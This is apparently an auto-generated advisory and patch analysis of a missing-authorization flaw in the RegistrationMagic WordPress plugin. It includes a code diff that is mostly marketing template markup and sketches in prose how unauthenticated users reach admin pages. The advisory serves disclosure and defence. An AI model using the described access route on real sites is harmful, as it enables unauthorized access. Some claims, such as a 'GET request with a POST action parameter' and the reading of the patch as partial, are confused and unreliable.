Published : June 14, 2026

CVE-2026-49764: RegistrationMagic – User Registration Forms Plugin <= 6.0.8.6 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-49764
Plugin custom-registration-form-builder-with-submission-manager
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.0.8.6
Patched Version 6.0.8.7
Disclosed June 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49764:
This vulnerability is a missing authorization issue in the RegistrationMagic – User Registration Forms Plugin for WordPress, affecting all versions up to and including 6.0.8.6. The vulnerability allows unauthenticated attackers to access administrative pages and features without any capability checks. The CVSS score is 5.3 (Medium), indicating moderate but significant unauthorized access.

The root cause is the absence of capability checks in the RM_Support_Controller class, specifically in methods such as forum(), frontend(), whats_new(), premium_page(), and extensions_page(). The diff shows that the controller’s methods render views directly without verifying user permissions. In the vulnerable code, these public methods in /admin/controllers/class_rm_support_controller.php (lines 20-45) execute $view->render() without any preceding check like current_user_can() or similar authorization. Additionally, the changes to class_rm_view_admin.php (lines 43-58) and template_rm_premium.php show that the patch adds an exclusion for template_rm_premium from including the admin header and promo banner, but this does not address the core permission issue directly. The patch instead modifies how the premium page template is rendered by bypassing the admin chrome, which combined with the lack of capability check, allows unauthenticated access.

An attacker can exploit this vulnerability by directly accessing the WordPress admin area via a crafted URL that triggers the vulnerable controller methods. For example, an attacker can send a GET request to /wp-admin/admin-ajax.php with a POST action parameter corresponding to one of the vulnerable methods, or access the admin page URLs that call these methods. The vulnerability chain involves the RM_Support_Controller being invoked by the plugin’s admin routing mechanism. By requesting the specific admin page that maps to the premium_page() or extensions_page() method, an unauthenticated user gains access to the premium feature advertisement page and potentially other admin pages. The attack vector is the admin area URL for the plugin, which can be reached without authentication because the plugin does not check user capabilities in the router or controller.

The patch modifies the view rendering logic in class_rm_view_admin.php to exclude the template_rm_premium.php from including the admin header and footer. This change indicates that the premium page should not be displayed with the admin chrome for unauthenticated users. However, the core issue is that the controller still lacks a capability check. The patch reduces the exposed information by removing the admin header/footer but does not fully prevent access. The changes to template_rm_form_settings.php (lines 13-17) are unrelated functional fixes for chart data handling. The patch is a partial mitigation that limits what the attacker sees but does not properly authorize the request.

If exploited, an attacker can view the premium upgrade page and other admin-facing pages that were intended only for authenticated administrators. While this may seem low-severity, it exposes marketing content and potentially plugin functionality that could aid further attacks. The unauthorized access could reveal information about plugin features, configurability, and system paths. More critically, the same pattern of missing capability checks may exist elsewhere in the controller or similar classes, potentially allowing attackers to access more sensitive admin functions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_support_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_support_controller.php
@@ -1,46 +1,46 @@
-<?php
-
-/*
- * To change this license header, choose License Headers in Project Properties.
- * To change this template file, choose Tools | Templates
- * and open the template in the editor.
- */
-
-/**
- *
- *
- * @author CMSHelplive
- */
-class RM_Support_Controller
-{
-    public $mv_handler;
-
-    function __construct(){
-        $this->mv_handler= new RM_Model_View_Handler();
-    }
-
-    public function forum($model,$service,$request,$params){
-        $view= $this->mv_handler->setView('support');
-        $view->render();
-    }
-
-    public function frontend($model,$service,$request,$params){
-        $view= $this->mv_handler->setView('frontend_primer');
-        $view->render();
-    }
-
-    public function whats_new($model,$service,$request,$params){
-        $view= $this->mv_handler->setView('whats_new');
-        $view->render();
-    }
-
-    public function premium_page($model,$service,$request,$params){
-        $view= $this->mv_handler->setView('premium');
-        $view->render();
-    }
-
-    public function extensions_page($model,$service,$request,$params){
-        $view= $this->mv_handler->setView('extensions');
-        $view->render();
-    }
-}
+<?php
+
+/*
+ * To change this license header, choose License Headers in Project Properties.
+ * To change this template file, choose Tools | Templates
+ * and open the template in the editor.
+ */
+
+/**
+ *
+ *
+ * @author CMSHelplive
+ */
+class RM_Support_Controller
+{
+    public $mv_handler;
+
+    function __construct(){
+        $this->mv_handler= new RM_Model_View_Handler();
+    }
+
+    public function forum($model,$service,$request,$params){
+        $view= $this->mv_handler->setView('support');
+        $view->render();
+    }
+
+    public function frontend($model,$service,$request,$params){
+        $view= $this->mv_handler->setView('frontend_primer');
+        $view->render();
+    }
+
+    public function whats_new($model,$service,$request,$params){
+        $view= $this->mv_handler->setView('whats_new');
+        $view->render();
+    }
+
+    public function premium_page($model,$service,$request,$params){
+        $view= $this->mv_handler->setView('premium');
+        $view->render();
+    }
+
+    public function extensions_page($model,$service,$request,$params){
+        $view= $this->mv_handler->setView('extensions');
+        $view->render();
+    }
+}
--- a/custom-registration-form-builder-with-submission-manager/admin/views/class_rm_view_admin.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/views/class_rm_view_admin.php
@@ -43,7 +43,8 @@
             !str_contains($this->view_file,'template_rm_dashboard_widget') &&
             !str_contains($this->view_file,'template_rm_formflow_main') &&
             !str_contains($this->view_file,'template_rm_form_preview') &&
-            !str_contains($this->view_file,'template_rm_user_edit_widget')
+            !str_contains($this->view_file,'template_rm_user_edit_widget') &&
+            !str_contains($this->view_file,'template_rm_premium')
         ) {
             include_once 'template_rm_header.php';
         }
@@ -54,7 +55,8 @@
             !str_contains($this->view_file,'template_rm_dashboard_widget') &&
             !str_contains($this->view_file,'template_rm_formflow_main') &&
             !str_contains($this->view_file,'template_rm_form_preview') &&
-            !str_contains($this->view_file,'template_rm_user_edit_widget')
+            !str_contains($this->view_file,'template_rm_user_edit_widget') &&
+            !str_contains($this->view_file,'template_rm_premium')
         ) {
             include_once 'template_rm_promo_banner_bottom.php';
             include_once 'template_rm_footer.php';
--- a/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_form_settings.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_form_settings.php
@@ -13,9 +13,9 @@
    $visits= array();
    foreach ($data->day_wise_stat as $date => $per_day) {
        array_push($date_labels,$date);
-       array_push($subs,$per_day->submissions);
-       array_push($visits,$per_day->visits);
-       if(empty($show_chart) && !empty($per_day->visits) && !empty($per_day->submissions)){
+       array_push($subs,absint($per_day->submissions));
+       array_push($visits,absint($per_day->visits));
+       if(empty($show_chart) && (!empty(absint($per_day->visits)) || !empty(absint($per_day->submissions)))){
            $show_chart=1;
        }
    }
--- a/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_premium.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_premium.php
@@ -1,559 +1,575 @@
-<?php
-if (!defined('WPINC')) {
-    die('Closed');
-}
-$rm_premium_image_url = RM_IMG_URL . "pro/";
-?>
-<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
-
-<div class="rm_pr_page">
-    <!---Header Area-->
-    <!---Content Area-->
-    <div class="rm_pr_content">
-    <!----Main Pitch---->
- <div class="rm_pr_row">
-
-               <div class="rm_pr_pitch_title">
-                    <?php _e('Welcome to the next level of WordPress Registrations!','custom-registration-form-builder-with-submission-manager') ?>
-                </div>
-            <div class="rm_pr_block_left">
-
-                <div class="rm_pitch_details">
-                    <?php _e("While Standard Edition is pretty powerful system in its own right, there's a lot more waiting for you! RegistrationMagic <em>Premium</em> is crammed to the top with awesome features, great new options and comes with top class support. It takes less than 5 minutes to upgrade and all your stuff is transferred automatically.",'custom-registration-form-builder-with-submission-manager') ?>
-                </div>
-                <div class="rm_pr_row rm_pitch_icon_strip">
-                    <img src="<?php echo RM_IMG_URL; ?>premium/icons_strip.png">
-                </div>
-                <div class="rm_pr_row rm_pitch_action_button">
-                    <a href="<?php echo RM_Utilities::comparison_page_link(); ?>" target="_blank"><button class="rm_pr_action"><?php _e("Get Premium",'custom-registration-form-builder-with-submission-manager') ?> </button></a>
-                </div>
-                <div class="rm_pr_row rm_pitch_action_button">
-                    <a target="_blank" href="https://registrationmagic.com/help-support/"><?php _e("Questions?",'custom-registration-form-builder-with-submission-manager'); ?></a><!--|<a  target="_blank" href="https://registrationmagic.com/comparison/">  Standard vs Premium</a>-->
-                </div>
-            </div>
-            <div class="rm_pr_block_right">
-
-                <div id="rm-wheel-container">
-         	<div class="rm-pr-wheel-wrap rm-pr-wheel-up">
-		<div class="rm-pr-wheels">
-			<div class="rm-pr-wheel1"></div>
-			<div class="rm-pr-wheel2"></div>
-			<div class="rm-pr-wheel3"></div>
-			<div class="rm-pr-wheel4"></div>
-			<div class="rm-pr-wheel5"></div>
-			<div class="rm-pr-wheel6"></div>
-			<div class="rm-pr-wheel7"></div>
-			<div class="rm-pr-wheel8"></div>
-		</div>
-	       </div>
-
-	       <div class="rm-pr-wheel-wrap rm-pr-wheel-down">
-		<div class="rm-pr-wheels">
-			<div class="rm-pr-wheel1"></div>
-			<div class="rm-pr-wheel2"></div>
-			<div class="rm-pr-wheel3"></div>
-			<div class="rm-pr-wheel4"></div>
-			<div class="rm-pr-wheel5"></div>
-			<div class="rm-pr-wheel6"></div>
-			<div class="rm-pr-wheel7"></div>
-			<div class="rm-pr-wheel8"></div>
-		</div>
-	</div>
-
-                </div>
-
-               <div class="rm-slider" id="rm-form-slider">
-	        <div class="rm-slider-wrapper">
-                <img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card.png" alt="RegistrationMagic" class="rm-pre-slide" />
-		<img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card.png" alt="First" class="rm-slide" />
-		<img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card-2.png" alt="Second" class="rm-slide" />
-		<img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card-3.png" alt="Third" class="rm-slide" />
-		<img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card-4.png" alt="fourth" class="rm-slide" />
-		<img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card-5.png" alt="five" class="rm-slide" />
-		<img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card-6.png" alt="six" class="rm-slide" />
-		<img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card-7.png" alt="Third" class="rm-slide" />
-		<img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card-8.png" alt="seven" class="rm-slide" />
-		<img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card-9.png" alt="nine" class="rm-slide" />
-		<img src="<?php echo RM_IMG_URL; ?>premium/rm-form-card-10.png" alt="ten" class="rm-slide" />
-
-	        </div>
-              </div>
-
-
-
-
-            </div>
-
-        </div>
-        <!----Features---->
-        <!----Row 1-->
-        <div class="rm_pr_feature_block">
-            <div class="rm_pr_feature_box_title">
-                <span><?php _e("Top 52 reasons to upgrade!",'custom-registration-form-builder-with-submission-manager'); ?></span>
-                            <div class="m_pr_block_mg-logo"><img src="<?php echo plugin_dir_url(dirname(dirname(__FILE__))) . 'images/mg-logo.png'; ?>"></div>
-            </div>
-            <hr />
-            <div class="rm_pr_block_container rm-d-flex rm-flex-wrap">
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Manual Approvals Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style="display: block;"><?php _e("Review and approve individual users instead of default auto registrations. A quick approval link is added to the admin notifications for extra convenience.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Submission Notes Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Attach Admin Note to your user submissions. Frontend notes are visible to the users and can be sent as notification to them.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                  <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Role Based Forms Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Bound user roles to forms so that users registering through the form will be automatically assigned the bound role. Alternatively, allow users to choose a role themselves from a list of pre-approved role selection. The option adds a new drop down field inside the form.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-
-                  <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Token System Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Generate and provide your users unique token after form submission. The token will also be attached to the form submission in dashboard area.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                   <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("External Submission Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Forward form data to an external URL using HTTP POST method. Useful for integrating RegistrationMagic with numerous other web apps.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                   <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Access Control Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Add conditional access control to your form. Allow users within specific age group, with secret passphrase and/or User Role to fill out forms.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-
-               <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("56 Field Types package",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Full set of custom field types. Now you can build any type of form.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e('Export and Filter Ext.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e('Export all or filtered submissions as CSV. Download individual submissions as PDF. Filter submissions based on date range.', 'custom-registration-form-builder-with-submission-manager') ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Advanced Paid Registrations Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Add Selection Boxes, DropDown and User Defined price options to your paid registrations.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Paid User Roles Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Add charges to user roles which will appear as payment on the forms bound to that role.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Attachments Browser Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("View all attachments as cards inside a dedicated area. You can download individual attachments or all of them as compressed zip file.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Global Overrides Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Not happy with same Global Settings applied to all your forms? Want to configure a single form differently? Global overrides allows you to override these settings for individual forms.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Custom Field with RegEx Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Need a new field type that isn't listed? Want to accept only specific type of field values? Now you can use regular expression to create your own custom fields with this extension.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("PDF Branding Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Brand your submission PDFs & Printouts with customized logo and taglines.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-                    <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Advanced Security Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Add extra security options to your forms including banning IPs, Spammy Domains, reserve important usernames and define password strength options.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    </div>
-
-                    <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Multi-Page Form Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Turn your forms into multi step pages with previous and next buttons. Last page submits the form. Name pages separately and show them above the form fields.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    </div>
-                    <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("HTML Embed Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Embed your forms where short code cannot go - including different sites and third party pages.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    </div>
-
-
-
-
-                    <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Customizable MagicPopup Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Use Magic Popup as navigation menu with option to add custom links.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    </div>
-                    <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("PDF Notification Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Form will be attached to admin notification email as PDF file.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Email Username Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Use email instead of username during new user registration. Users can now login with their emails too.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-
-
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Default Forms Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Assign a registration form as default form for a user role.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Saved Searches Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Save your regular submission searches as filters for quick productivity boost.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("User Directory Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Display registered users as directory on front end of your site.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-
-
-                    <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("User Inbox Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e('Logged in users can check all the messages they have received from the admin in a new "Inbox" tab on front end area.','custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Automation Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Created automated workflows and tasks to offload manual tasks to RegistrationMagic's Automation Manager.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Unique Values Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Accept only unique values for your form fields. No two users can submit same value for fields marked unique.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("User Submission Cap Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Define a fixed number of times a single user can submit a specific form.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-                   <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Conditional Fields Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Add conditional logic to your form fields and control their appearance based on other field values.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-                  <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons">account_box</i></div>
-                    <div class="rm_pr_feature_title"><?php _e("User Meta Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc"><?php _e("Define User-Meta keys in field setting and save values directly in WordPress User Meta Table.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-                    <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Email Verification Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc"><?php _e("Verify user's email address by sending account activation links.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Intelligent Contact Form Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc"><?php _e("Want to know what the user wrote to you earlier with contact form submission? Wish to have purchase history of your WooCommerce customer attached to a new support request? Need to see purchased downloads of Easy Digital Downloads buyer with form data? Time to add some intelligence to your submission notifications. Introducing, message shortcodes which dynamically fetch user information from their history on your site and provide you with deeper user insights attached to the submitted content.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-                   <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons">label</i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Custom Status Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc"><?php _e("Now create, customize and apply custom status to submissions to comply with your registration approval process.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Field Analytics Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Piecharts divided by options chosen by the users on checkbox, radio box, drop down and country fields.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons">insert_chart</i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Advanced Reports Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Take your reports one step further with more options and new comparison abilities.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons">mail </i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Email Reports Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Configure reports which will be sent to your email address as attachments at predefined intervals.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-                    <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"> how_to_reg </i></div>
-                    <div class="rm_pr_feature_title"><?php _e("2FA Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc"><?php _e("Add an extra layer of security and greatly reduce risk of unauthorized access by enforcing Two-Factor Authentication to your site.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    </div>
-
-                     <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"> block </i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Login IP Ban Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc"><?php _e("Ban visitor IPs based on login behavior. Set rules or prompts to activate IP block.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-                         <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"> verified_user </i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Username Validation Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc"><?php _e("Allow Username field on the login for to accept both Username and Email, or only Username.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-
-
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Social Login Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Allow users to log into your site using popular social networks like Google, Twitter, Microsoft and Instagram, apart from existing Facebook login.",'custom-registration-form-builder-with-submission-manager'); ?>
-                    </div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><img class="rm_feature_icon" src="<?php echo RM_IMG_URL; ?>premium/woocommerce.png"></div>
-                    <div class="rm_pr_feature_title"><?php _e("WooCommerce Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Combine the power of RegistrationMagic with WooCommerce for ultimate shopping experience for your customers.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><img class="rm_feature_icon" src="<?php echo RM_IMG_URL; ?>premium/mailpoet.png"></div>
-                    <div class="rm_pr_feature_title"><?php _e("MailPoet Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Subscribe registering users to your MailPoet lists directly from your registration forms.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-
-
-               <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon rm-mailpoet"><img class="rm_feature_icon" src="<?php echo RM_IMG_URL; ?>premium/rm-mailpoet.png"></div>
-                    <div class="rm_pr_feature_title"><?php _e("MailPoet 3 Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Subscribe registering users to latest version of MailPoet lists directly from your registration forms.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><img class="rm_feature_icon" src="<?php echo RM_IMG_URL; ?>premium/dropbox.png"></div>
-                    <div class="rm_pr_feature_title"><?php _e("Dropbox Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Automatically upload submission PDFs to your Dropbox folder. Useful for archiving and sharing.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Google Maps Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Make use of Google's powerful maps inside your forms. Works with Address and Map field types.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-
-
-
